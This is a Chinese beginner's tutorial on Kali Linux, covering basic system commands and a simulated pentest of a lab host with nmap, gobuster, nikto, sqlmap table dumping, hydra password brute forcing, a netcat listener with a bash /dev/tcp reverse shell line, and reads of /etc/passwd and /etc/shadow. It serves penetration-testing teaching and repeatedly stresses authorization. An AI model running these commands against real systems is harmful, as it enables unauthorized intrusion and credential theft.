Kali Linux渗透测试入门:从系统管理到核心工具命令实战指南
1. 项目概述为什么是Kali Linux如果你正考虑从其他技术领域甚至是完全不同的行业转向网络安全那么你大概率已经无数次听到过“Kali Linux”这个名字。它就像一个标志一个图腾象征着渗透测试和网络安全评估的实战领域。但很多新手包括几年前的我自己都会陷入一个误区把Kali Linux等同于“黑客系统”认为装上它运行几个神秘命令就能瞬间成为安全专家。这完全错了。Kali Linux本质上是一个高度集成、预配置了数百个安全工具的Linux发行版。它的核心价值在于“开箱即用”。想象一下你是一个木匠Kali就是那个已经为你装好了锯子、刨子、凿子、尺子等所有专业工具的工具箱。你不用再花几天甚至几周时间去一个个寻找、下载、编译、配置这些工具而是可以直接拿起合适的工具开始工作。这对于渗透测试、漏洞评估、数字取证和逆向工程等任务来说效率的提升是颠覆性的。它基于Debian这意味着你拥有一个稳定且庞大的软件仓库作为后盾。但Kali团队所做的是精心筛选、预装并配置了那些在安全社区中被广泛使用和信赖的工具从信息搜集如Nmap、漏洞分析如Nessus、OpenVAS、Web应用测试如Burp Suite、sqlmap、密码攻击如John the Rirap、Hashcat到无线网络审计如Aircrack-ng、逆向工程如Ghidra等等。对于转行者而言学习Kali Linux不仅仅是学习一个操作系统更是系统性接触和熟悉网络安全攻防实战工具链的最佳入口。你不会被繁琐的环境搭建劝退可以更专注于理解安全原理和工具本身的使用逻辑。2. 核心思路从系统认知到命令掌控很多教程一上来就扔给你一长串命令列表让你去背。这种学法枯燥且低效因为你不知道这些命令在真实的渗透测试工作流中扮演什么角色也不知道它们背后的原理。我的学习路径也是我建议所有新手的路径应该分为三个层次第一层系统层认知。你需要明白Kali Linux作为一个操作系统的“脾气”。它默认使用非root的kali用户登录但很多安全工具需要特权root权限。因此sudo命令会成为你的肌肉记忆。它的软件管理核心是APTAdvanced Package Tool你需要熟练使用apt update,apt upgrade,apt install/remove来维护你的“工具箱”。文件系统布局、服务管理systemctl、进程查看ps,top这些基础Linux知识在Kali上同样至关重要因为渗透测试往往涉及复杂的后台进程和资源监控。第二层工具集框架理解。Kali的工具并非杂乱无章它们被分类放置在应用程序菜单中对应着渗透测试执行标准PTES或通用渗透测试流程的各个阶段。你需要建立“阶段-工具”的映射思维。例如在“信息搜集”阶段你会想到用Nmap扫描端口用theHarvester搜集邮箱用dnsenum枚举子域名。在“漏洞分析”阶段你会启动Burp Suite拦截HTTP请求或者用sqlmap测试SQL注入点。这个阶段命令的学习是伴随着工具使用的。第三层命令的深度运用与组合。这是体现功力的地方。不再是简单地运行nmap 192.168.1.1而是结合各种参数进行隐蔽扫描-sS、服务版本探测-sV、操作系统识别-O甚至编写Nmap脚本-sC进行更深入的探测。你会学习如何用管道|、重定向,将多个命令组合起来形成自动化的工作流。比如将gobuster扫描的目录结果过滤后直接交给nikto进行快速漏洞扫描。本篇文章将聚焦于第一层和第二层为你夯实基础。我们会详解那些你几乎每天都会用到的系统管理命令和核心工具的命令行调用方式并解释它们在一个简化的渗透测试场景中如何串联起来。3. 基础系统操作与环境管理命令在你运行任何炫酷的渗透工具之前你必须能自如地驾驭这个系统本身。以下命令是你的“生存技能”。3.1 权限提升与用户管理sudo是钥匙Kali默认策略是鼓励使用sudo来临时获取root权限而不是直接以root用户操作这更安全。# 以root权限执行一条命令例如安装软件 sudo apt update # 启动一个需要特权的图形化工具如Wireshark sudo wireshark # 切换到root用户shell谨慎使用操作完毕后及时exit sudo su - # 或者 sudo -i注意sudo su -和sudo -i都会切换到root环境区别在于su -会完全模拟root的登录环境读取root的profile配置而sudo -i行为类似。日常工具使用更推荐在命令前加sudo而非长期待在root shell下以免误操作。3.2 软件包管理维护你的武器库APT是Debian/Kali的包管理灵魂。保持工具更新至关重要因为漏洞和利用技术日新月异。# 1. 更新软件包列表从仓库获取最新的软件信息 sudo apt update # 2. 升级所有已安装的软件包到最新版本 sudo apt upgrade # 3. 安装一个特定的工具例如著名的目录扫描工具gobuster sudo apt install gobuster # 4. 搜索包含特定关键词的软件包 apt search sql注入 # 5. 查看一个软件包的详细信息 apt show nmap # 6. 删除一个软件包但保留配置文件 sudo apt remove metasploit-framework # 7. 彻底删除软件包及其配置文件 sudo apt purge metasploit-framework # 8. 清理不再需要的依赖包和旧内核释放空间 sudo apt autoremove实操心得在执行重大操作如upgrade前特别是涉及内核更新时最好先apt update然后apt list --upgradable查看一下将要升级的包做到心中有数。虽然Kali是滚动更新但偶尔也可能遇到兼容性问题。3.3 文件与目录操作情报的存放地所有扫描结果、日志、Payload都需要你妥善管理。# 导航 pwd # 显示当前目录 cd /usr/share # 切换目录 cd ~ # 回到用户家目录 cd - # 回到上一个目录 # 列表与查看 ls -la # 详细列表显示隐藏文件 tree -L 2 # 以树状图显示目录结构深度为2层需安装tree工具 # 文件操作 cp report.txt ./backups/ # 复制 mv scan_result.txt /var/www/html/ # 移动/重命名 rm -rf old_data/ # 强制递归删除目录极度危险 mkdir -p projects/recon/2023 # 创建多级目录 # 查看文件内容 cat config.conf # 显示整个文件 less large_log.log # 分页查看支持搜索/关键词 head -n 20 output.txt # 查看文件前20行 tail -f /var/log/apache2/access.log # 实时追踪日志文件末尾-f follow # 查找文件 find / -name *.pdf 2/dev/null # 在全盘查找pdf文件忽略错误信息 find . -type f -size 10M # 在当前目录查找大于10M的文件 locate nse # 使用数据库快速查找包含nse的文件需先运行sudo updatedb更新数据库3.4 进程与网络管理掌控运行状态渗透测试中经常需要后台运行扫描、监听端口管理这些进程是关键。# 进程管理 ps aux | grep python # 查看所有进程并过滤出包含python的 top # 动态查看进程和系统资源占用类似任务管理器 htop # top的增强版更直观需安装 kill 1234 # 终止PID为1234的进程 kill -9 1234 # 强制终止SIGKILL信号 # 网络配置与诊断 ip a # 或 ifconfig查看网络接口信息IP、MAC等 ip route # 查看路由表 ping -c 4 8.8.8.8 # 发送4个ICMP包测试连通性 netstat -tulnp # 查看所有监听端口及对应进程老牌命令 ss -tulnp # netstat的现代替代速度更快 curl -I http://target.com # 发送HTTP请求并仅显示响应头 wget http://example.com/file.zip # 下载文件4. 渗透测试核心流程与对应命令详解现在我们把这些命令放入一个模拟的、简化的内部网络渗透测试场景中看看它们如何串联。假设我们的目标是内网中的一台主机192.168.1.105。4.1 阶段一主动信息搜集此阶段目标是尽可能多地收集目标信息为后续攻击面分析打下基础。1. 主机发现与端口扫描NmapNmap是无可争议的端口扫描之王。新手常犯的错误是直接进行全端口扫描这既慢又嘈杂。# 基础存活探测Ping扫描 sudo nmap -sn 192.168.1.0/24 # -sn: 只进行主机发现不扫端口。这会列出该网段所有在线主机。 # 快速TCP端口扫描前1000个常用端口 sudo nmap -sS -T4 192.168.1.105 # -sS: TCP SYN半开放扫描速度快且相对隐蔽。 # -T4: 指定扫描速度0-54为较快速度。 # 全面扫描版本探测、脚本扫描、全端口 sudo nmap -sS -sV -sC -O -p- -T4 192.168.1.105 -oA full_scan # -sV: 探测服务/版本信息。 # -sC: 使用默认的Nmap脚本引擎NSE进行漏洞和增强探测。 # -O: 进行操作系统识别。 # -p-: 扫描所有65535个端口。 # -oA full_scan: 将结果以三种格式normal, xml, grepable输出前缀为full_scan。实操心得-p-全端口扫描非常耗时在真实测试中应根据初步扫描结果如发现了80, 443, 8080等Web端口和业务理解有针对性地扫描可能的高位端口。-T参数不宜过高-T3是平衡选择-T4在可控网络中使用-T5可能丢包。2. Web路径/目录爆破Gobuster/Dirb如果发现80或443端口下一步就是寻找隐藏的路径、文件或子域名。# 使用常见目录字典进行爆破 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -t 50 # dir: 模式为目录爆破。 # -u: 目标URL。 # -w: 使用的字典文件。Kali自带多种字典在/usr/share/wordlists/。 # -t: 并发线程数。 # 寻找特定扩展名的文件如php, bak, txt gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt # 子域名爆破针对域名假设为target.com gobuster dns -d target.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt4.2 阶段二漏洞探测与利用根据信息搜集的结果针对特定服务进行深入测试。1. Web漏洞扫描NiktoNikto是一个基础的Web服务器扫描器能快速识别过时的软件版本、危险文件等。nikto -h http://192.168.1.105 -o nikto_scan.html -Format html # -h: 目标主机。 # -o: 输出文件。 # -Format: 输出格式。注意Nikto扫描动静大容易被WAF或IDS拦截。它更适合在授权测试的内部环境或作为初步的自动化检查工具。2. 数据库注入测试SQLmap如果发现像http://target.com/page?id1这样的动态URL可以尝试SQL注入。# 基本检测 sqlmap -u http://192.168.1.105/page?id1 --batch # --batch: 对所有交互提示选择默认答案适合自动化。 # 如果检测到注入进一步获取数据 sqlmap -u http://192.168.1.105/page?id1 --dbs # 枚举数据库 sqlmap -u http://192.168.1.105/page?id1 -D database_name --tables # 枚举指定数据库的表 sqlmap -u http://192.168.1.105/page?id1 -D database_name -T users --dump # 导出users表数据重要警告仅在拥有明确书面授权的目标上使用SQLmap未经授权使用是违法行为。3. 密码破解Hydra对于发现的SSH、FTP、Telnet等服务可以尝试在线密码爆破。# 爆破SSH密码使用用户名字典和密码字典 hydra -L user_list.txt -P password_list.txt ssh://192.168.1.105 -t 4 # -L: 用户名字典。 # -P: 密码字典。 # -t: 任务并行数。 # 爆破HTTP表单登录需要指定登录请求参数 hydra -l admin -P rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^:FLogin failed # -l: 单个用户名。 # http-post-form: 指定为HTTP POST表单。 # 参数格式URL路径:登录参数字符串:失败条件标识实操心得在线爆破成功率低、风险高、速度慢且极易触发账户锁定机制。它通常是穷尽其他手段后的选择。rockyou.txt是Kali自带的著名密码字典位于/usr/share/wordlists/。4.3 阶段三后渗透与权限维持简单示例在获得初始访问权限后例如通过一个Web漏洞上传了Webshell你需要在目标系统上操作。1. 反向Shell连接Netcat假设你在目标服务器上执行了反向shell命令并在你的Kali上监听。# 在Kali攻击机上监听端口4444 sudo nc -lvnp 4444 # -l: 监听模式。 # -v: 详细信息。 # -n: 直接使用IP不进行DNS解析。 # -p: 指定端口。 # 在获得权限的目标机器上假设是Linux执行连接命令 bash -c bash -i /dev/tcp/192.168.1.100/4444 01 # 这条命令会将目标的shell反弹到攻击机192.168.1.100的4444端口。2. 内部信息搜集在获得的Shell中whoami # 当前用户 id # 用户和组信息 uname -a # 系统内核信息 cat /etc/passwd # 查看系统用户 cat /etc/shadow # 查看密码哈希需要root ip a # 查看网络信息 ps aux # 查看进程 find / -perm -4000 -type f 2/dev/null # 查找SUID权限文件可能用于提权5. 高效工作流与命令组合技巧真正的效率来自于将命令组合成流水线。1. 管道 (|) 与过滤 (grep)这是最强大的组合之一。# 扫描网段只显示发现开放80端口的主机 sudo nmap -p 80 192.168.1.0/24 -oG - | grep 80/open # 查看历史命令过滤出包含nmap的命令 history | grep nmap # 统计一个日志文件中不同IP的访问次数 cat access.log | awk {print $1} | sort | uniq -c | sort -nr2. 输出重定向 (,)保存你的工作成果至关重要。# 将扫描结果保存到文件覆盖 sudo nmap -sS 192.168.1.105 scan_results.txt # 将结果追加到文件末尾 echo Scan completed at $(date) scan_log.txt # 将标准输出和错误输出都重定向到文件 some_command 21 | tee output.log # 21: 将标准错误(2)重定向到标准输出(1)。 # tee: 既在屏幕显示又写入文件。3. 后台运行 (,nohup)长时间任务需要放到后台。# 将一个扫描放到后台运行并输出到文件 sudo nmap -sS -p- 192.168.1.105 -oA full_background_scan # 命令后的符号使其在后台运行。 # 断开SSH连接后仍保持任务运行 nohup sudo nikto -h http://target.com nikto.out 21 # nohup使命令忽略挂断信号。输出被重定向到nikto.out文件。6. 常见问题、排错与安全实践问题1运行某些工具如Wireshark, aircrack-ng提示权限不足。解决绝大多数情况需要使用sudo。对于需要抓包的工具另一种方法是将你的用户添加到wireshark或netdev组然后重新登录。sudo usermod -aG wireshark $USER sudo usermod -aG netdev $USER问题2apt update失败提示“无法连接上仓库”或“签名无效”。解决网络问题检查/etc/apt/sources.list文件确保仓库地址正确通常不需要改。可以尝试ping一个网站测试网络。签名问题尝试更新本地证书或仓库密钥。sudo apt update --fix-missing sudo apt install kali-archive-keyring系统时间错误如果系统时间不对会导致SSL证书验证失败。使用date命令检查并用sudo timedatectl set-ntp true同步网络时间。问题3工具运行报错缺少依赖库。解决仔细阅读错误信息通常会提示缺少哪个包。使用apt install安装对应包。例如运行Python脚本报错ImportError: No module named requests则运行pip3 install requests或sudo apt install python3-requests。问题4虚拟机中的Kali无法连接网络或网卡模式不对。解决VMware/VirtualBox检查虚拟机设置中的网络适配器。桥接模式会让Kali获得一个与宿主机同网段的独立IP像一台真实机器。NAT模式是Kali通过宿主机的IP上网在外网看来所有流量来自宿主机。渗透测试通常用桥接模式以便扫描同一局域网。使用ip a查看网卡是否获取到IP地址。如果没有可以尝试重启网络服务sudo systemctl restart NetworkManager。安全与合规实践重中之重仅在合法授权范围内测试这是红线。你的测试环境应该是自己搭建的虚拟靶机如Metasploitable, DVWA, VulnHub上的镜像、购买的授权演练平台或企业明确授权的资产。隔离测试环境将Kali和靶机放在一个独立的虚拟网络或物理网络中避免误伤真实资产。做好记录详细记录你的每一步操作、命令、输出结果。这不仅是职业要求在发生争议时也是你的保护伞。及时更新定期apt update apt upgrade确保你的工具库能应对最新的漏洞。理解原理而非死记命令尝试理解每个参数的意义以及工具背后的工作原理如TCP三次握手与SYN扫描的关系。这能让你在工具失效或遇到新场景时自己找到解决方案。学习Kali Linux和这些命令就像学习武术的套路。最初你需要一招一式地模仿和记忆但最终目的是融会贯通在面对不同的“对手”目标系统时能下意识地组合出最有效的“连招”。这个系统是你的画布这些命令是你的画笔而网络安全的知识体系才是你创作的灵魂。不要停留在运行命令的层面去理解它为什么能工作以及如何防御它这才是从“脚本小子”走向安全专家的正道。

相关新闻

Sa-Token框架实现记住我功能的技术解析与实践

Sa-Token框架实现记住我功能的技术解析与实践

1. Sa-Token 框架与记住我模式基础认知第一次接触Sa-Token时,我就被它的轻量级设计所吸引。作为Java领域的权限认证框架,它用最简洁的API解决了登录认证、权限控制这些让开发者头疼的问题。特别是在处理"记住我"这种常见但实现细节复杂的场景时…

2026/10/12 23:58:32 阅读更多 →
Java高性能编程:JVM内存模型与GC调优实战

Java高性能编程:JVM内存模型与GC调优实战

1. Java高性能编程核心思路Java高性能编程的核心在于理解JVM内存模型和GC机制,通过合理的内存管理和代码优化来提升程序执行效率。高性能Java应用需要关注以下几个关键点:JVM内存分区与对象生命周期管理垃圾收集器的工作原理与调优减少内存分配与对象创建…

2026/10/14 3:47:24 阅读更多 →
DS1302实时时钟芯片应用与开发指南

DS1302实时时钟芯片应用与开发指南

1. DS1302实时时钟芯片项目概述DS1302是一款由Dallas Semiconductor(现被Maxim Integrated收购)推出的低功耗实时时钟芯片,在嵌入式系统和电子设备中广泛应用。这款芯片最大的特点是能够在极低功耗下保持精确计时,特别适合需要长时…

2026/10/13 22:25:56 阅读更多 →

最新新闻

WorkBuddy_AI Harness架构解析8_执行沙箱

WorkBuddy_AI Harness架构解析8_执行沙箱

执行沙箱 摘要 在现代软件系统尤其是 AI Agent、CI/CD 平台、在线代码评测系统以及低代码平台中,"让不可信代码或命令安全运行"是一个绕不开的核心问题。本文以 Harness 为例,深入剖析一个执行沙箱(Execution Sandbox)应…

2026/10/15 3:34:41 阅读更多 →
PHP音乐分享系统源码深度解析:从本地部署到音频全栈处理

PHP音乐分享系统源码深度解析:从本地部署到音频全栈处理

简介:这是一套基于ASP.NET开发的原创音乐分享平台完整源码,面向Web开发者与创业团队,用于快速搭建在线音乐社区、原创音乐推广站或伴奏资源分发网站。系统采用Web 2.0架构,集成用户中心、音乐上传发布、日志相册、资讯管理及原创音…

2026/10/15 3:34:41 阅读更多 →
在浏览器中零代码训练机器学习模型:Teachable Machine v1 开发指南与源码剖析

在浏览器中零代码训练机器学习模型:Teachable Machine v1 开发指南与源码剖析

AI 应用机器学习计算机视觉前端 【免费下载链接】teachable-machine-v1 Explore how machine learning works, live in the browser. No coding required. 项目地址: https://gitcode.com/gh_mirrors/te/teachable-machine-v1 点击查看 免费下载 本篇技术指南以仓库…

2026/10/15 3:34:41 阅读更多 →
仓颉 std.net SocketAddress 类详解:协议无关 Socket 地址的抽象基类与实战用法

仓颉 std.net SocketAddress 类详解:协议无关 Socket 地址的抽象基类与实战用法

人工智能AI 技能文档开发工具 【免费下载链接】DocAgent 项目地址: https://gitcode.com/Cangjie-SIG/DocAgent 点击查看 免费下载 SocketAddress 是仓颉标准库 std.net 包中表示协议无关 Socket 地址的抽象基类,它为 TCP、UDP、Unix Domain Socket 等所…

2026/10/15 3:34:41 阅读更多 →
StreamCap 多平台直播流自动录制客户端:功能特性、源码运行与容器化部署实战指南

StreamCap 多平台直播流自动录制客户端:功能特性、源码运行与容器化部署实战指南

音视频桌面应用直播 【免费下载链接】StreamCap Multi-Platform Live Stream Automatic Recording Tool | 多平台直播流自动录制客户端 基于FFmpeg 支持监控/定时/转码 项目地址: https://gitcode.com/gh_mirrors/st/StreamCap 点击查看 免费下载 StreamCap 是一…

2026/10/15 3:34:41 阅读更多 →
Java接入个人微信API:消息回调进客服系统的正确姿势

Java接入个人微信API:消息回调进客服系统的正确姿势

Java 团队接个人微信,通常第一反应是:Spring Boot 写个 Controller,接收回调,然后直接在方法里写业务。 本地调试挺顺,一上生产就出现:接口超时、消息重复、Tomcat 线程打满。 问题不在 Java,而…

2026/10/15 3:33:41 阅读更多 →

日新闻

Docker Compose 容器化部署 ChirpStack LoRaWAN 网络服务器实战

Docker Compose 容器化部署 ChirpStack LoRaWAN 网络服务器实战

1. 为什么选择容器化方式部署 LoRa 网络服务LoRa 物联网项目落地时,网络服务器是整个链路的核心枢纽。它负责接收网关上报的数据包、完成去重与解密、再把有效载荷分发给上层应用。早期大家习惯把网络服务器直接装在物理机上,依赖一堆系统库和特定版本的…

2026/10/15 0:00:46 阅读更多 →
共享LLM服务下的跨模型自动扩缩容:Kubernetes实战与避坑指南

共享LLM服务下的跨模型自动扩缩容:Kubernetes实战与避坑指南

1. 共享推理服务里,扩缩容到底难在哪做过大模型推理服务部署的人,大概都经历过这样的场景:一个团队共用一套推理集群,A 业务跑的是 7B 的小模型,B 业务跑的是 72B 的大模型,C 业务白天流量高、晚上几乎归零…

2026/10/15 0:00:46 阅读更多 →
Systemd 启动阶段根文件系统只读之谜:fstab 与 remount-fs 服务深度解析

Systemd 启动阶段根文件系统只读之谜:fstab 与 remount-fs 服务深度解析

1. 引子:一次内核恐慌引发的追查先从一个真实场景说起。某次我给一台老旧的嵌入式设备折腾系统裁减,为了把启动时间压进两秒以内,我手贱地把一串自认为“没用”的 systemd 服务给 disable 了,其中就包括systemd-remount-fs.servic…

2026/10/15 0:00:46 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/14 16:30:29 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 0:14:36 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 22:45:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 7:53:34 阅读更多 →